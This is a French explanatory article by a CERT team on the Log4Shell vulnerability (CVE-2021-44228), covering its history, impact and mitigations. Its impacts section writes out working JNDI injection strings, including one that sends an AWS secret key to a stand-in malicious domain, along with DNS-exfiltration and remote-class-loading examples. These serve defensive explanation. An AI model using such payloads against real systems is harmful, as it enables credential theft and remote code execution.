12 questions pour comprendre la vulnérabilité Log4shell

12 questions pour comprendre la vulnérabilité Log4shell

(source : https://twitter.com/GossiTheDog/status/1469252646745874435)

Vendredi 10 décembre dernier, une vulnérabilité critique baptisée Log4Shell et référencée CVE-2021-44228 a été divulguée par la Fondation Apache au sein de la bibliothèque Log4j2.

De nombreuses agences telles que l’ANSSI (via le CERT-FR), le CERT-EU ou encore le CERT Suisse GovCERT.ch s’accordent à qualifier cette vulnérabilité de critique et recommande de la corriger dans les plus brefs délais.

Son exploitation permet en effet à un attaquant de prendre le contrôle d’un système à distance, sans authentification préalable, en le forçant à exécuter du code Java arbitraire récupéré sur un serveur distant. Son score CVSS (v3.1) de 10.0.

Retour en 12 questions/réponses sur cette faille qui a fait couler beaucoup d’encre au cours des derniers jours.

1.    Qu’est-ce que Log4j2 ?

Log4j2 est une librairie Java dédiée à la journalisation et utilisée couramment au sein des applications développées en Java.

La gestion des logs étant un sujet adressé couramment par les développeurs, Log4j2 est logiquement utilisé dans un très grand nombre d’applications. Une simple recherche du code permettant d’importer Log4j au sein d’un projet sur Github retourne pas moins de 700 000 résultats. Cette recherche ne tient pourtant compte que des applications accessibles ouvertement et non des applications « internes » dont le code n’est lui pas accessible publiquement. Cela donne donc une idée de l’importance que revêt un tel composant dans l’écosystème Java.

La version initiale du projet (Log4j 1.x) a fait son apparition en 1999, et a signé sa fin de vie le 5 août 2015. Ses concepteurs ont constaté que le code de base présentait des défauts de conception et que le processus de publication était complexe, expliquant en partie que peu de développeurs se soient impliqués dans le projet jusqu’alors.

La version 2 de Log4j (Log4j2) a donc vu le jour le 12 juillet 2014, après 2 ans de développement. Dans cette nouvelle version majeure du projet, les développeurs ont intégré un très grand nombre de fonctionnalités disponibles dans l’écosystème Java, dont une interface JNDI exploitée au sein de cette vulnérabilité. L’objectif était pour eux d’enrichir fonctionnellement le projet.

2.    Que sont les JNDI ?

L’API JNDI (Java Naming Directory Interface) a vu le jour en mars 1997 et est largement utilisée dans l’univers de Java, car elle fait partie des spécifications de Java EE.

JNDI est par exemple utilisée par les API Java RMI et Java EE pour rechercher des objets au travers du réseau. Elle permet pour cela de s’interfacer avec des services de nommages ou d’annuaires afin de réaliser des recherches de manière abstraite au travers de fournisseurs de services (SPI). Parmi les principaux fournisseurs de services, on peut mentionner DNS, RMI, ou encore LDAP.

Les deux connecteurs les plus intéressants sont RMI et plus particulièrement LDAP. En effet, le connecteur de LDAP dispose au sein de la RFC des fonctionnalités dangereuses qui permettent d’inclure des classes Java distantes au travers du paramètre javaCodeBase :

3.    D’où provient la vulnérabilité ?

La vulnérabilité permettant une exécution de code arbitraire provient de l’utilisation de deux fonctionnalités conjointes.

La première concerne le composant Lookups qui permet au sein Log4j2 l’évaluation de valeurs lors du traitement des messages.

Cette fonctionnalité peut être utilisée par les développeurs pour enrichir les données utilisées pour le débogage et qui sont liées à l’environnement d’exécution : ${java:version}, ${env:HOSTNAME}, ${k8s:podName} …

Toutefois, l’ajout en 2013 d’un nouveau plugin pour ce composant a ouvert la possibilité d’exploiter un nouveau type d’évaluation : JNDILookup. Ce nouveau plugin de résolution de noms (intégré au sein de la version 2.0-beta9) permet la résolution de ressources JNDI au travers de la syntaxe ${jndi:*}. Entre autres, il supporte par défaut les protocoles LDAP et LDAPS.

C’est justement l’utilisation du protocole LDAP qui, permettant le chargement de classe à distance, est exploitée pour exécuter du code arbitraire dans le contexte de l’application vulnérable. Une démonstration de l’exploitation de ce type d’injection avait justement été faite dès 2016 par Alvaro Muñoz et Oleksandr Mirosh lors de la BlackHat US. Ils avaient à cette occasion démontré plusieurs vecteurs d’exploitation de cette fonctionnalité, notamment au travers des connecteurs RMI et LDAP.

Les premières traces d’exploitation de cette « fonctionnalité » avaient été détectées par Trend Micro en 2015 par le groupe Pawn Storm, qui utilisait la fonction de chargement de classe à distance offerte par l’interface JNDI au travers du protocole RMI :

Le composant JNDI est donc identifié comme étant un vecteur d’attaque depuis de nombreuses années. Néanmoins, cette technique d’exploitation reste assez peu connue de la communauté.

La vulnérabilité Log4shell a donc permis de la remettre en avant.

4.    Comment a été découverte cette faille ?

D’après un rapport de vulnérabilité publié par les chercheurs d’Alibaba Cloud, la vulnérabilité CVE-2021-44228 a été remontée le 24 novembre 2021 aux développeurs du projet Apache Log4j2.

Toutefois, d’autres développeurs ont également remonté des éléments avant la divulgation officielle de la vulnérabilité (le 10 décembre 2021), notamment le 29 novembre 2021 quand Carter Kozak, un employé de la société Palantir Technologies a publié un message sur l’un des outils de gestion de projet utilisés par les développeurs de Log4j, en demandant pourquoi la résolution automatique (Lookup) était appliquée par défaut sur tous les messages traités. Selon lui, cette fonctionnalité serait « confuse ».

Enfin, selon certaines rumeurs, les premières tentatives d’exploitation de cette vulnérabilité auraient eu pour but de compromettre des serveurs du jeu Minecraft. Toutefois, aucun acteur de confiance n’a pu confirmer cette information jusqu’à présent.

5.    Depuis combien de temps est-elle présente au sein de Log4j ?

La vulnérabilité a été introduite au sein de la version 2.0-beta9 (Changelog : Add JNDILookup plugin. Fixes LOG4J2-313. Thanks to Woonsan Ko) mise à disposition le 14 septembre 2013.

Cet ajout provient d’une demande de fonctionnalité datant du 17 juillet 2013 (Ticket ‘JNDI Lookup plugin support’).

Cette vulnérabilité est donc présente depuis un peu de plus de 8 ans au sein du projet Log4j2.

6.    Quels sont les impacts liés à l’exploitation de la faille ?

La vulnérabilité permet de réaliser 2 actions distinctes :

  • Exfiltration d’information
  • Exécution de code arbitraire à distance (RCE)

Le premier impact est l’exfiltration d’informations sensibles.

En effet, la vulnérabilité utilise la fonction de « lookup » de Log4j. Cette fonctionnalité dispose de fonctions de recherche non dangereuses :

  • Date Lookup : permet de générer une date suivant un formatage précis
  • Upper Lookup : convertit le message en majuscule

Ces exemples sont anodins et ne présentent aucun danger. Ils correspondent à des fonctionnalités assez courantes, supportées par tous les langages permettant de faire du « Format String ». Malheureusement, dans le cas de Log4j, il est possible de récupérer des informations sensibles au travers de fonctions beaucoup plus dangereuses :

  • Docker Lookup : permet à un attaquant de récupérer le nom des dockers
  • Environment Lookup : permet à un attaquant de récupérer une variable d’environnement à partir de son nom
  • JVM Input Arguments Lookup (JMX) : permet à un attaquant de récupérer les arguments passés à l’application vulnérable
  • Kubernetes Lookup : permet à un attaquant de récupérer des informations liées à l’environnement du cluster Kubernetes utilisé (comme le nom du système hôte, le nom du containeur, …).

Voici quelques exemples de chaînes pouvant être utilisées en entrée pour extraire la version de Java utilisée par l’application vulnérable :

  • ${env:JAVA_VERSION}
  • $(sys:java.version}
  • ${sys:java.vendor}

L’interprétation de ces chaînes permet d’afficher les informations sensibles, mais pas de les récupérer. En effet, par défaut, ces informations seront uniquement disponibles dans les logs. Pour récupérer ces informations, l’attaquant doit ensuite utiliser une méthode d’exfiltration telle que le DNS. Ici, l’idée est de forcer l’application à envoyer une requête DNS vers un serveur sous le contrôle de l’attaquant afin de résoudre un nom de domaine spécialement constitué pour intégrer les informations devant être exfiltrées. Par exemple :

  • ${env:JAVA_VERSION}.dnsexfiltration.xmco.fr

Pour rendre possible cette exfiltration de données, il est possible d’utiliser la fonctionnalité appelée « JNDI Lookup » qui permet notamment de contacter des serveurs distants. En combinant avec les fonctions précédemment mentionnées, un attaquant peut ainsi exfiltrer des données sensibles :

  • ${jndi:ldap://${env:JAVA_VERSION}.dnsexfiltration.xmco.fr}

Sans rentrer dans le détail, l’attaquant va ensuite récupérer les logs issus des requêtes DNS émises vers *.dnsexilftration.xmco.fr. Il existe différents services tels que canarytokens.org ou encore dnslog.cn qui permettent de faire cela. Néanmoins, si vous souhaitez tester la présence de la vulnérabilité Log4shell sur vos applications ou sur votre infrastructure, nous ne pouvons que vous conseiller d’utiliser vos propres serveurs DNS pour éviter de voir fuiter vos informations.

Parmi les attaques identifiées, certaines tentatives d’exploitation visent à exfiltrer des données sensibles (mot de passe, clef d‘API et autres secrets). La chaîne suivante permet ainsi d’exfiltrer la clef AWS_SECRET_ACCESS_KEY stockée dans la variable d’environnement éponyme :

  • ${jndi:ldap://ici-le-domaine-malveillant.com/exploit/${env:AWS_SECRET_ACCESS_KEY}}

Le deuxième impact est l’exécution de commande (RCE).

Tout comme dans le scénario d’exfiltration de données, la fonctionnalité permettant de réaliser ce type d’action est encore « JNDI lookup ». En effet, l’interface JNDI permet de réaliser le chargement de classes Java arbitraires distantes, notamment au travers de son connecteur LDAP. Le fonctionnement de ce mécanisme est décrit au sein de la RFC2713.

Dans le cadre de notre article, nous allons uniquement détailler la méthode d’exfiltration au travers du connecteur LDAP. L’attaquant va créer une requête LDAP qui pointe vers son serveur. Cette méthode est la même que celle expliquée pour exfiltrer les données :

  • ${jndi:ldap://hacker.xmco.fr/trigger}

Lorsque l’attaquant reçoit la requête LDAP, il va renvoyer une classe Java spécialement conçue. Pour utiliser cette fonctionnalité, il peut utiliser 3 types de représentation différents :

  • javaSerializedObject
  • javaMarshalObject
  • javaNamingReference

Dans notre exemple, nous allons uniquement aborder la dernière représentation à savoir javaNamingReference. Pour construire un retour valide, l’attaquant doit fournir 4 attributs :

  • javaClassName : nom de la classe à charger
  • javaCodeBase : url du serveur où récupérer la classe Java
  • javaFactory : nom du fichier de la classe Java à charger
  • ObjectClass : la représentation du type d’objet (dans notre exemple il s’agit donc de javaNamingReference).

En construisant une réponse malveillante, l’attaquant va ainsi forcer le serveur vulnérable à charger une classe Java sur son propre serveur :

  • javaClassName : xmco
  • javaCodeBase : https://hacker.xmco.fr
  • javaFactory : log4shell.class
  • objectFactory : JavaNamingReference

Le chargement de cette classe log4shell.class entraînera l’exécution de code arbitraire, puisque le code cette classe est contrôlé par l’attaquant.

En synthèse, le scénario détaillant l’exploitation de la vulnérabilité Log4shell est le suivant :

(Source : GovCERT.ch, https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/)

Néanmoins, afin de charger une classe distante, il est nécessaire que la propriété de la JVM com.sun.jndi.ldap.object.trustURLCodebase soit configurée à true (valeur false par défaut depuis les JDK 6u211 / 7u201 / 8u191 / 11.0.1 et supérieurs).

Il est toutefois possible d’exploiter cette vulnérabilité sans charger une classe distante. Notamment en exploitant une classe déjà disponible dans le Classpath de l’application vulnérable (via l’utilisation d’une chaîne de Gadget). Nous reviendrons sur cette technique dans un futur article.

7.    La vulnérabilité est-elle exploitée sur Internet ?

Par la voix de son PDG, la société Cloudflare a publié un tweet et un article de blog indiquant que les premières traces d’exploitation de la vulnérabilité dataient du 1er décembre 2021, soit 9 jours avant la divulgation de la faille par la Fondation Apache (le 10/12).

Cette information peut être corrélée à la date de création du ticket ouvert par le développeur de Palentir sur le Jira utilisé par les développeurs du projet Log4j. Bien qu’aucune mention d’un éventuel problème de sécurité ne soit indiquée dans ce message publié le 29 novembre 2021, il est fort probable qu’il ait donné les éléments nécessaires aux attaquants pour identifier et exploiter la vulnérabilité.

Par ailleurs, selon Sophos, la vulnérabilité serait activement exploitée par les attaquants afin d’installer des mineurs de cryptomonnaie sur le système compromis depuis sa divulgation officielle.

Cloudflare a partagé dans une publication en date du 10 décembre quelques indicateurs chiffrés quant au nombre de scans observés sur Internet : D’après les chiffres communiqués, la société a détecté et bloqué entre 5 000 et 10 000 scans par minute au cours de la journée du 10 décembre. Ces scans étaient lancés par 300 IPs source en moyenne.

(Source : https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/)

Enfin, la startup Crowdsec a, elle, publié une liste des adresses IP identifiées comme étant à l’origine de scans visant à identifier les assets vulnérables à Log4Shell. D’autres listes similaires (Abuse.ch ThreatFox, gnremy/CVE-2021-44228_IPs.csv) sont également disponibles.

À la question « Existe-t-il des codes d’exploitation ? », la réponse est donc évidemment oui.

8.    Suis-je affecté par la vulnérabilité ? Comment savoir si mon système est vulnérable ?

Les conditions devant être réunies pour exploiter la vulnérabilité Log4shell sont difficilement identifiables sans connaître en détail son système d’information. Une revue du code source et de la configuration de l’application et de ses dépendances, ainsi que de la version utilisée de Log4j2 est généralement nécessaire pour disposer d’une analyse fiable.

En effet, il est nécessaire de disposer des informations suivantes :

  • Une cartographie à jour de son SI et de ses applications
  • De savoir au sein de son SI quelles sont les applications qui dépendent de Log4j (de manière directe ou indirecte)
  • De savoir quelles entrées utilisateurs ces applications traitent (email, entête / corps d’une quête HTTP, champ d’un certificat SSL…)
  • De connaître l’environnement d’exécution de la JVM (i.e. la configuration) utilisé par chacune des applications.

Disposer d’un tel niveau de maîtrise de son SI n’est généralement pas possible au sein des grandes entreprises (trop de domaines ou d’adresses IPs à gérer). Par ailleurs, dans les structures de taille plus raisonnable, c’est ici le niveau de maturité qui n’est pas suffisamment élevé. In fine, très peu de structures sont en mesure de maîtriser leur système d’information avec un tel niveau de détail.

Il convient donc de faire un test « dynamique » le plus large possible pour identifier les systèmes vulnérables qui réagissent positivement, et engager les premières actions de remédiation.

Attention, étant donné que la vulnérabilité est déclenchée lors du traitement d’une ligne de log, si cette information est envoyée (via Syslog par ex.) vers un concentrateur de logs (puits de log) ou un SIEM (ELK, …) utilisant lui-même Log4j, vous pouvez être affecté par la faille de manière indirecte, bien qu’il ne soit pas accessible directement depuis Internet.

9.    Quels sont les logiciels vulnérables / non vulnérables ?

Enfin, au-delà de l’analyse contextualisée à une application développée en interne, un certain nombre de solutions utilisées en entreprise (solutions commerciales ou OpenSource) sont également affectées par Log4Shell. Une liste d’outils et de dépendances affectées par cette vulnérabilité est maintenue à jour les internautes à l’adresse suivante : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Cette liste permet de voir que les solutions telles qu’Apache Kafka, Apache Solr, Apache Struts, Atlassian (que l’on retrouve régulièrement dans les environnements de nos clients) sont affectées par cette faille. Il convient donc de réaliser une veille en vulnérabilités auprès des éditeurs pour identifier la publication de mise à jour de sécurité corrigeant la faille dans leurs produits.

Néanmoins, des solutions destinées au grand public ont également été identifiées comme étant vulnérables à Log4shell, à l’instar de l’Apple Cloud.

10. Dois-je appliquer les correctifs en urgence ?

OUI !

A minima, vous devez réaliser une analyse d’impact de la faille sur votre Système d’information et envisager la mise en œuvre de tout ou partie des solutions de remédiation proposées ci-dessous.

11. Comment se protéger contre l’exploitation de cette faille ?

La solution la plus simple est l’utilisation d’outils dédiés spécifiquement à l’établissement du diagnostic. On peut entre autres retenir les 2 outils suivants :

Ces outils ne sont néanmoins pas adaptables à tous les contextes ou tous les cas d’usage.

Note : entre le début de rédaction de cet article et sa publication, la version 2.16.0 de Log4j2 a été publiée par les développeurs du projet. Son installation est donc recommandée.

La première recommandation est évidemment d’installer le correctif publié par les développeurs de Log4j2. La version v2.15.0 est ainsi disponible sur le site de la Fondation Apache à l’adresse suivante :

L’ensemble des informations nécessaires à la mise à jour sont disponibles sur la page dédiée du projet : https://logging.apache.org/log4j/2.x/download.html.

Néanmoins, la mise à jour d’une application n’est pas toujours aussi simple qu’on pourrait l’espérer, et il peut être nécessaire de disposer d’une solution de remédiation temporaire. Dans ce cas, plusieurs options sont à votre disposition.

Pour les versions de Log4j >= 2.10.0,Il est possible de désactiver la résolution automatique des noms au sein des entrées utilisateurs au travers du paramètre de configuration formatMsgNoLookups.

Ce paramètre peut être défini de plusieurs manières :

  • Via un argument transmis à la JVM lors de son lancement : java -Dlog4j2.formatMsgNoLookups=true ...
  • Via une variable d’environnement Log4j : LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...
  • Via une variable d’environnement Java / de la JVM : JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

Pour les versions de Log4j < 2.10.0, il n’est pas possible d’utiliser ce paramètre. Il est néanmoins possible de supprimer purement et simplement le fichier JndiLookup.class qui correspond à l’implémentation de la fonctionnalité de recherche. La commande suivante peut être utilisée pour supprimer le fichier incriminé du JAR utilisé par une application.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Alternativement, pour les versions de Log4j >= 2.7 et <= 2.14.1, il est possible de remplacer dans le code de l’application l’ensemble des modèles (PatternLayout) %m en %m{nolookups} afin de désactiver la résolution des noms.

Enfin, les équipes d’AWS ont développé un outil baptisé hotpatch-for-apache-log4j2 qui permet de désactiver « à chaud » la méthode lookup() des instances de classe org.apache.logging.log4j.core.lookup.JndiLookup. Il s’agit d’un agent Java capable de modifier à la volée le code Java d’une application vulnérable.

Attention, l’utilisation d’une telle solution peut avoir des effets indésirables sur votre environnement et n’est à n’utiliser qu’en cas de dernière nécessité.

12. Pour aller plus loin : la défense en profondeur

Évidemment, l’application de l’ensemble de ces solutions nécessite au préalable de savoir où est utilisée cette librairie. Il est donc nécessaire de proposer d’autres solutions plus générales pour prévenir de l’exploitation réussie de la vulnérabilité Log4shell.

Parmi celles-ci, on peut retenir :

  • Filtrer les flux sortants (en particulier, depuis la DMZ vers Internet) au niveau du pare-feu et/ou du Proxy.
  • Filtrer les flux entrants au niveau des WAF ou des IPS/IDS afin de détecter et de bloquer les requêtes suspectes (intégrant les principaux marqueurs d’exploitation de la faille)
  • Analyser les logs web disponibles afin d’identifier les traces d’exploitation

Différents outils ont également été publiés pour répondre à ces différents cas d’usage. Par exemple :

Références


Charles Dagouat

Responsable du CERT-XMCO